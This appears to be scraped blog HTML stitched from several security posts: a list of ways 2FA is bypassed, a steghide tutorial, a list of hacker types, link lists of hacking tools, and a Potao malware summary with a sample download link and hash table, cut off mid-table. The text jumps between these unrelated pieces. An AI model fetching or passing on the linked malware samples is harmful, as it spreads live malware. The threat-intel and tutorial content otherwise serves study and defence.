href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8FMNoDREMls1CgqW7LQ9I3Cjv1DOeB7TFMBjnJ3HhZQu4DDByWCitkbjq1SMc5-Ubvlp8qHSghkN-cn9ZkW1aQZBS226SXFzKjaFmt5fls7wZct7DVo2tKbzKPKgLGDT9FhlVOg/s1600/passthehash.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8FMNoDREMls1CgqW7LQ9I3Cjv1DOeB7TFMBjnJ3HhZQu4DDByWCitkbjq1SMc5-Ubvlp8qHSghkN-cn9ZkW1aQZBS226SXFzKjaFmt5fls7wZct7DVo2tKbzKPKgLGDT9FhlVOg/s1600/passthehash.jpg" width="320" /></a></div> <h3> </h3> <h3> </h3> <h3> </h3> <h3> Attacking 2FA</h3> <div> As already stated, 2 factor authentication raises the efforts from an attacker point of view, but does not provide 100% protection. </div> <div> <ul> <li>one time tokens (SecurID, Yubikey) can be relayed in a <a href="https://www.youtube.com/watch?v=Bf2nYkn32DM" target="_blank">man-in-the-middle attack</a>, </li> <li><a href="http://www.computerworld.com/article/2493077/malware-vulnerabilities/proof-of-concept-malware-can-share-usb-smart-card-readers-with-attackers-ove.html" target="_blank">smartcard authentication can be relayed</a> with the help of a malware to the attacker machine - or simply circumvented in the browser malware, </li> <li>text based (SMS) messages can be stolen by <a href="http://www.kaspersky.com/about/news/virus/2011/Teamwork_How_the_ZitMo_Trojan_Bypasses_Online_Banking_Security" target="_blank">malware</a> on the smartphone or rerouted via SS7, </li> <li>bio-metric protection is constantly <a href="http://www.ccc.de/en/updates/2013/ccc-breaks-apple-touchid" target="_blank">bypassed</a>,</li> <li>SSH keys are constantly <a href="https://www.venafi.com/blog/post/i-hunt-sys-admins-ssh" target="_blank">stolen</a>,</li> <li>but U2F keys are pretty good actually, even though BGP/DNS hijack or similar MiTM can still circumvent that protection,</li> <li>etc. </li> </ul> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm9h0jiK9uh-6ulNC-9P-E3y2Tmey_uY2c4Oyntlo_eSV0WM8uFl0uv-9x7zSBSUq6yDoHkaoG0SBvnlwzqvE4fa_YQmWW3-EnAAn_NdnIVCMXCvY1p5nWrBgVnanOzEFDg-cAjw/s1600/asps1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm9h0jiK9uh-6ulNC-9P-E3y2Tmey_uY2c4Oyntlo_eSV0WM8uFl0uv-9x7zSBSUq6yDoHkaoG0SBvnlwzqvE4fa_YQmWW3-EnAAn_NdnIVCMXCvY1p5nWrBgVnanOzEFDg-cAjw/s1600/asps1.png" /></a></div> <div> <br /></div> </div> <h3> </h3> <h3> Others</h3> Beware that there are tons of other attack methods to access your online account (like XSS/CSRF), but all of these have to be handled on the webserver side. The best you can do is to choose a website where the Bug Bounty program is running 24/7. Otherwise, the website may be full of low hanging, easy-to-hack bugs.<br /> <br /> Now that we have covered what we want to protect against what, in the <a href="http://jumpespjump.blogspot.com/2014/10/change-passwords-regularly-myth-and-lie_13.html" target="_blank">next blog post</a>, you will see how to do that. Stay tuned. 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serif;"><br /></span> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOzf7DwVDeD4_Hp7CxnNvqrQSuULBBQViwKrDHkHE4_mtJOroorr3k7d5aAVePtM_AbzhGUGIcxXEgAM-jlrnUR1vOh8PShWOLRvkPmfGt7-Rh1wds7CYwHsyk2DNmvewnkmlH/s1600/0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Georgia, Times New Roman, serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOzf7DwVDeD4_Hp7CxnNvqrQSuULBBQViwKrDHkHE4_mtJOroorr3k7d5aAVePtM_AbzhGUGIcxXEgAM-jlrnUR1vOh8PShWOLRvkPmfGt7-Rh1wds7CYwHsyk2DNmvewnkmlH/s1600/0.png" /></span></a></div> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> All of us want our sensitive information to be hidden from people and for that we perform different kinds of things like hide those files or lock them using different softwares. But even though we do that, those files attractive people to itself as an object of security. Today I'm going to give you a slight introduction to what is called as Steganography. Its a practice of hiding an informational file within another file like you might have seen in movies an image has a secret message encoded in it. You can read more about Steganography from</span> <a href="https://en.wikipedia.org/wiki/Steganography" target="_blank">Wikipedia</a>.</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> In this tutorial I'm going to use a tool called steghide, which is a simple to use Steganography tool and I'm running it on my</span> <a href="http://adf.ly/1InUDm" target="_blank">Arch Linux</a>. <span style="color: #b45f06;">What I'm going to do is simply encode an image with a text file which contains some kind of information which I don't want other people to see. And at the end I'll show you how to decode that information back. So lets get started:</span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /><b><span style="color: red;"> Requirements:</span></b></span><br /> <span style="font-family: Georgia, Times New Roman, serif;">1. <b><a href="http://adf.ly/1InXSM" target="_blank">steghide</a></b></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;">2. a text file</span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;">3. an image file</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> After you have installed steghide, fire up the terminal and type</span> <b><span style="color: red;">steghide</span></b></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /> </span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv2DVb7M7yVm7SfF6ZOR2qPvEwfJHQ8EVcywPS28fi9vmGsaR1PoTU9W07cDqfDcIMuCqbidgOyvAnscxHf_YR2Tt2FS-82TCpUD0GLwniNURQlGKkJ10IK-rtVHkYu-yID2f-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Georgia, Times New Roman, serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv2DVb7M7yVm7SfF6ZOR2qPvEwfJHQ8EVcywPS28fi9vmGsaR1PoTU9W07cDqfDcIMuCqbidgOyvAnscxHf_YR2Tt2FS-82TCpUD0GLwniNURQlGKkJ10IK-rtVHkYu-yID2f-/s1600/1.png" /></span></a></div> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> It will give you list of options that are available.</span></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;"><br /> Now say I have a file with the name of myblogpassword.txt which contains the login password of my blog and I want to encode that file into an Image file with the name of arch.jpg so that I can hide my sensitive information from the preying eyes of my friends. In order to do that I'll type the following command in my terminal:</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /> <span style="color: #073763;"><b>steghide embed -ef myblogpassword.txt -cf arch.jpg</b></span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /> </span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBGjWTisvk3lCPwKIWzodQW440_b7LuEDcYuHUkSYEp86SHmmBngzPG1AvAOrh664y64-q1kuwfNwxw_6eWaGzKdlMMR5tAicjIl6CGPECHoua4TF-YApOzql3ejH-ATRVQRKM/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Georgia, Times New Roman, serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBGjWTisvk3lCPwKIWzodQW440_b7LuEDcYuHUkSYEp86SHmmBngzPG1AvAOrh664y64-q1kuwfNwxw_6eWaGzKdlMMR5tAicjIl6CGPECHoua4TF-YApOzql3ejH-ATRVQRKM/s1600/2.png" /></span></a></div> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> here</span> <b><span style="color: red;">steghide</span></b> <span style="color: #b45f06;">is the name of the program</span></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;">embed flag is used to specify to steghide that we want to embed one file into another file</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><span style="color: red;"><b>-ef</b></span> <span style="color: #b45f06;">option is used to specify to steghide the name (and location, in case if its in some other directory) of the file that we want to embed inside of the another file, in our case its myblogpassword.txt</span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><span style="color: red;"><b>-cf</b></span> <span style="color: #b45f06;">option is used to specify the name (and location, in case if its in some other directory) of the file in which we want to embed our file, in our case its an image file named arch.jpg</span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> After typing the above command and hitting enter it will prompt for a password. We can specify a password here in order to password protect our file so that when anyone tries to extract our embedded file, they'll have to supply a password in order to extract it. If you don't want to password protect it you can just simply hit enter.</span></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;"><br /> Now myblogpassword.txt file is embedded inside of the image file arch.jpg. You'll see no changes in the image file except for its size. Now we can delete the plain password text file myblogpassword.txt.</span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;"><br /> In order to extract the embedded file from the cover file, I'll type following command in the terminal:</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /> <span style="color: blue;"><b>steghide extract -sf arch.jpg -xf myblogpass.txt</b></span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /> </span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9N_vgkaltit2qOX6omoauFwrEoKgNNu45tlubPpZeKsATpqtmAX4_q6i0wRBkyS8gix1e_qxMVBUBZiNh9HDyeahDV2diefI8eI_WkbCBesVI_IXkXlIwf0p9ejXbNxLP-_7X/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Georgia, Times New Roman, serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9N_vgkaltit2qOX6omoauFwrEoKgNNu45tlubPpZeKsATpqtmAX4_q6i0wRBkyS8gix1e_qxMVBUBZiNh9HDyeahDV2diefI8eI_WkbCBesVI_IXkXlIwf0p9ejXbNxLP-_7X/s1600/3.png" /></span></a></div> <span style="font-family: Georgia, Times New Roman, serif;"><br /></span> <span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #b45f06;">here</span> <span style="color: red;">steghide</span><span style="color: #b45f06;"> is again name of the program</span></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;">extract flag specifies that we want to extract an embedded file from a stego file</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><span style="color: red;">-sf</span> <span style="color: #b45f06;">option specifies the name of the stego file or in other words the file in which we embedded another file, in our case here its the arch.jpg file</span></span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><span style="color: red;">-xf</span> <span style="color: #b45f06;">option specifies the name of the file to which we want to write our embedded file, here it is myblogpass.txt</span></span><br /> <span style="color: blue; font-family: Georgia, Times New Roman, serif;">(remember you must specify the name of file with its location if its somewhere else than the current directory)</span><br /> <span style="font-family: Georgia, Times New Roman, serif;"><br /><span style="color: #b45f06;"> After typing the above command and hitting enter, it will prompt for a password. Supply the password if any or otherwise just simply hit enter. It will extract the embedded file to the file named myblogpass.txt. Voila! you got your file back but yes the image file still contains the embedded file.</span></span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;"><br /> That's it, very easy isn't it?</span><br /> <span style="color: #b45f06; font-family: Georgia, Times New Roman, serif;"><br /> It was a pretty basic introduction you can look for other things like encrypting the file to be embedded before you embed it into another file and so on... enjoy </span><span style="color: red; font-family: Georgia, Times New Roman, serif;">:)</span><br /> <div> <br /></div> </div><strong>More info</strong><br><ol><li> <a href="https://www.google.uz/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.hacking.reviews%2F2020%2F08%2Fpagodo-automate-google-hacking-database.html">Pentest Tools For Windows </a></li><li> <a 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border-box; color: rgba(0, 0, 0, 0.5); font-family: "Open Sans", sans-serif; font-size: 14px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: 1.7em; margin-bottom: 1.6em; padding: 0px; vertical-align: baseline; word-break: break-word; word-wrap: break-word;"> SQLi hunter is a tool to scan for an SQLi Injection vulnerability in a website on auto-pilot. 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href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoKbx8N2WyaT56HKI-EH3b3pFrAILDJ62nXjyzoLy093kyt_yi13UjFdiVE-RTQNzj7cI2dgz2D3SEwQ3GbD-4f7NyMd6qnTjB5An4jOJh03OO_nTSTyUYr8vq5AlX-TAPB5G9rQ/s1600/IMG_20181216_124337_986.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoKbx8N2WyaT56HKI-EH3b3pFrAILDJ62nXjyzoLy093kyt_yi13UjFdiVE-RTQNzj7cI2dgz2D3SEwQ3GbD-4f7NyMd6qnTjB5An4jOJh03OO_nTSTyUYr8vq5AlX-TAPB5G9rQ/s320/IMG_20181216_124337_986.jpg" width="320" /></a></div> <span style="background-color: #cc0000;">7 Types of hacker </span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">1-Script Kiddies-They are just download overused software & watch youtube video on how to use it. Script kiddies don't care about hacking.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">2-White Hat-They are the good guys of the hacker world. They also known as Ethical Hacker.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">3-Black Hat-They finds bank or other companies with weak security and steal money or credit card information. They also known as cracker. They are dangerous because they are illegal to gain unauthorized access.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">4-Gray Hat-They don't steal money or information sometimes they deface a website or they don't help people for good.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">5-Green Hat-These are the hacker "noobz" but unlike Script Kiddies.They care about Hacking and strive to become full-blown hacker.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">6-Red Hat-These are the vigilantes of the hacker world. They are like White Hats in that they halt Black Hats but these folks are downright SCARY to those who have ever tried so much as penetrest.</span><br /> <span style="background-color: #cc0000;"><br /></span> <span style="background-color: #cc0000;">7-Blue Hat-If a Script Kiddy took revenge he/she might become a Blue Hat.Most Blue Hats are noobz.They have no desire to learn.</span><br /> <span style="background-color: #cc0000;"><br /></span></div><h4>Related links</h4><br><ul><li> <a href="https://www.google.ge/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F04%2Flk-scraper-fully-configurable-linkedin.html">Hacker Tools Mac </a></li><li> <a href="https://www.google.jo/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F07%2Fcommit-stream-osint-tool-for-finding.html">Hacking Tools Github </a></li><li> <a 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href="http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"><span style="font-family: inherit;">http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf</span></a></b><br /> <span style="font-family: inherit;"><br /></span> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="http://www.welivesecurity.com/wp-content/uploads/2015/07/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: inherit;"><img border="0" src="http://www.welivesecurity.com/wp-content/uploads/2015/07/1.jpg" height="215" width="320" /></span></a></div> <span style="font-family: inherit;"><b>TL; DR</b></span><br /> <span style="font-family: inherit;"><br /></span> <br /> <div> <span style="font-family: inherit;">2011- July 2015</span></div> <div> </div> <ul> <li><span style="font-family: inherit;">Aka Sapotao and node69</span></li> <li><span style="font-family: inherit;">Group - Sandworm / Quedagh APT</span></li> <li><span style="font-family: inherit;">Vectors - USB, exe as doc, xls</span></li> <li><span style="font-family: inherit;">Victims - RU, BY, AM, GE </span></li> <li><span style="font-family: inherit;">Victims - MMM group, UA gov</span></li> <li><span style="font-family: inherit;">truecryptrussia.ru has been serving modified versions of the encryption software (Win32/FakeTC) that included a backdoor to selected targets. </span></li> <li><span style="font-family: inherit;">Win32/FakeTC - data theft from encrypted drives</span></li> <li><span style="font-family: inherit;">The Potao main DLL only takes care of its core functionality; the actual spying functions are implemented in the form of downloadable modules. The plugins are downloaded each time the malware starts, since they aren't stored on the hard drive.</span></li> </ul> <blockquote class="tr_bq"> <ul> <li><span style="font-family: inherit;">1st Full Plugin and its export function is called Plug. Full plugins run continuously until the infected system is restarted</span></li> </ul> <ul> <li><span style="font-family: inherit;">2nd Light Plugin with an export function Scan. Light plugins terminate immediately after returning a buffer with the information they harvested off the victim's machine.</span></li> </ul> </blockquote> <ul> <li><span style="font-family: inherit;">Some of the plugins were signed with a certificate issued to "Grandtorg":</span></li> <li><span style="font-family: inherit;">Traffic </span></li> </ul> <blockquote class="tr_bq"> <ul> <li><span style="font-family: inherit;">Strong encryption. The data sent is encapsulated using the XML-RPC protocol.</span></li> </ul> <ul> <li><span style="font-family: inherit;">MethodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic.</span></li> </ul> <ul> <li><span style="font-family: inherit;">After receiving the request the C&C server generates an RSA-2048 public key and signs this generated key with another, static RSA-2048 private key .</span></li> </ul> <ul> <li><span style="font-family: inherit;">In 2nd stage the malware generates a symmetric AES-256 key. This AES session key is encrypted with the newly received RSA-2048 public key and sent to the C&C server.</span></li> </ul> <ul> <li><span style="font-family: inherit;">The actual data exchange after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key</span></li> </ul> <ul> <li><span style="font-family: inherit;">The Potao malware sends an encrypted request to the server with computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.</span></li> </ul> </blockquote> <ul> <li><span style="font-family: inherit;">Potao USB - uses social engineering, exe in the root disguised as drive icon</span></li> <li><span style="font-family: inherit;">Potao Anti RE - uses the MurmurHash2 algorithm for computing the hashes of the API function names.</span></li> <li><span style="font-family: inherit;">Potao Anti RE - encryption of strings</span></li> <li><span style="font-family: inherit;">Russian TrueCrypt Win32/FakeTC - The malicious program code within the otherwise functional TrueCrypt software runs in its own thread. This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the C&C server, ready to execute commands from the attackers.</span></li> <li><span style="font-family: inherit;">IOC<a href="https://www.blogger.com/goog_271167436"> </a></span><a href="https://github.com/eset/malware-ioc/tree/master/potao">https://github.com/eset/malware-ioc/tree/master/potao<a name='more'></a></a></li> </ul> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7SX9fSTpHBGDMHbIhOud5Hz68bYilCpTlrgJPFkNbi55BxymGwpMb1Ohwmgn238ZPb6DVyB17wFLgrefuuwkiBTGUTSGpJNa2CVPiWGaHWkUvf7gvKrOrRFhHnDxQ1b64fO1S/s640/comparisonsandworm.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7SX9fSTpHBGDMHbIhOud5Hz68bYilCpTlrgJPFkNbi55BxymGwpMb1Ohwmgn238ZPb6DVyB17wFLgrefuuwkiBTGUTSGpJNa2CVPiWGaHWkUvf7gvKrOrRFhHnDxQ1b64fO1S/s640/comparisonsandworm.PNG" width="505" /></a></div> <div> </div> <div> <br /></div> <div> <div style="background-color: white; font-family: 'Trebuchet MS', Trebuchet, sans-serif; font-size: 14px; line-height: 19.6000003814697px;"> <div style="background-color: #618f2b; color: white; line-height: 19px; text-align: center;"> <span style="font-family: 'Courier New', Courier, monospace;"><b>Download</b></span></div> <div style="line-height: 19.6000003814697px;"> <div style="line-height: 19px;"> <br /> <b><br /></b></div> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDELtjOe27IaFADqMx6LfhypDxD0Q3Bb5wBHetKlmiy49QU9y8wJ9XJla2_cIg7oVIWx5oTDnecBYgh8rbhN5HaP6QEltghs3gOu_CKxd6dj_3rUYSL3J14D3v7i8jep-a5_zt/s1600/rednag.png" imageanchor="1" style="clear: left; color: #660000; margin-bottom: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDELtjOe27IaFADqMx6LfhypDxD0Q3Bb5wBHetKlmiy49QU9y8wJ9XJla2_cIg7oVIWx5oTDnecBYgh8rbhN5HaP6QEltghs3gOu_CKxd6dj_3rUYSL3J14D3v7i8jep-a5_zt/s1600/rednag.png" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0) 1px 1px 5px; font-family: 'Courier New', Courier, monospace; padding: 0px; position: relative;" /></a><a href="http://www.mediafire.com/download/0k71e8tcr2mopwp/Potao_express-samp.zip">Download. Email me if you need the password</a></div> <div> </div> <div> <div style="line-height: 19.6000003814697px;"> </div> </div> </div> </div> <div> <table class="tableizer-table" style="border: 1px solid rgb(204, 204, 204); color: black; font-family: Arial, Helvetica, sans-serif; font-size: 11px;"><tbody> <tr class="tableizer-firstrow"><th style="background-color: #6d6d6e; color: white;">Type</th><th style="background-color: #6d6d6e; color: white;">SHA256</th><th style="background-color: #6d6d6e; color: white;">MD5</th></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1fe6af3d704d2fc0c7acd58b069a31eec866668ec6e25f52354e6e61266db8db</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">85b0e3264820008a30f17ca19332fa19</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">2ff0941fe3514abc12484ad2853d22fd7cb36469a313b5ecb6ef0c6391cf78ab</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">ac854a3c91d52bfc09605506e76975ae</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">54a76f5cd5a32ed7d5fa78e5d8311bafc0de57a475bc2fddc23ee4b3510b9d44</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">3b7d88a069631111d5585b1b10cccc86</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">76c7c67274cf5384615a120e69be3af64cc31d9c4f05ff2031120612443c8360</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">d1658b792dd1569abc27966083f59d44</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">244c181eb442fefcf1e1daf900896bee6569481c0e885e3c63efeef86cd64c55</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">0c7183d761f15772b7e9c788be601d29</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">887a721254486263f1f3f25f3c677da62ef5c062c3afa7ef70c895bc8b17b424</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a35e48909a49334a7ebb5448a78dcff9</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">945c594aee1b5bd0f3a72abe8f5a3df74fc6ca686887db5e40fe859e3fc90bb1</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">502f35002b1a95f1ae135baff6cff836</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">ab8d308fd59a8db8a130fcfdb6db56c4f7717877c465be98f71284bdfccdfa25</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a446ced5db1de877cf78f77741e2a804</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b22a614a291111398657cf8d1fa64fa50ed9c66c66a0b09d08c53972c6536766</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">d939a05e1e3c9d7b6127d503c025dbc4</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1stVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">fcfdcbdd60f105af1362cfeb3decbbbbe09d5fc82bde6ee8dfd846b2b844f972</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">14634d446471b9e2f55158d9ac09d0b2</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">DebugVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">910f55e1c4e75696405e158e40b55238d767730c60119539b644ef3e6bc32a5d</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">7263a328f0d47c76b4e103546b648484</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">DebugVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">c821cb34c86ec259af37c389a8f6cd635d98753576c675882c9896025a1abc53</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">bdc9255df5385f534fea83b497c371c8</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">DebugVersion</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">f845778c3f2e3272145621776a90f662ee9344e3ae550c76f65fd954e7277d19</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">5199fcd031987834ed3121fb316f4970</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">4dcf14c41b31f8accf9683917bfc9159b9178d6fe36227195fabc232909452af</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">65f494580c95e10541d1f377c0a7bd49</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">8bc189dee0a71b3a8a1767e95cc726e13808ed7d2e9546a9d6b6843cea5eb3bd</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a4b0615cb639607e6905437dd900c059</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">048621ecf8f25133b2b09d512bb0fe15fc274ec7cb2ccc966aeb44d7a88beb5b</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">07e99b2f572b84af5c4504c23f1653bb</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">aa23a93d2fed81daacb93ea7ad633426e04fcd063ff2ea6c0af5649c6cfa0385</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1927a80cd45f0d27b1ae034c11ddedb0</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">c66955f667e9045ea5591ebf9b59246ad86227f174ea817d1398815a292b8c88</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">579ad4a596602a10b7cf4659b6b6909d</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Droppersfrompostalsites</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">d6f126ab387f1d856672c730991573385c5746c7c84738ab97b13c897063ff4a</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">e64eb8b571f655b744c9154d8032caef</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">61dd8b60ac35e91771d9ed4f337cd63e0aa6d0a0c5a17bb28cac59b3c21c24a9</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">d755e52ba5658a639c778c22d1a906a3</td></tr> <tr><td style="border: 1px solid 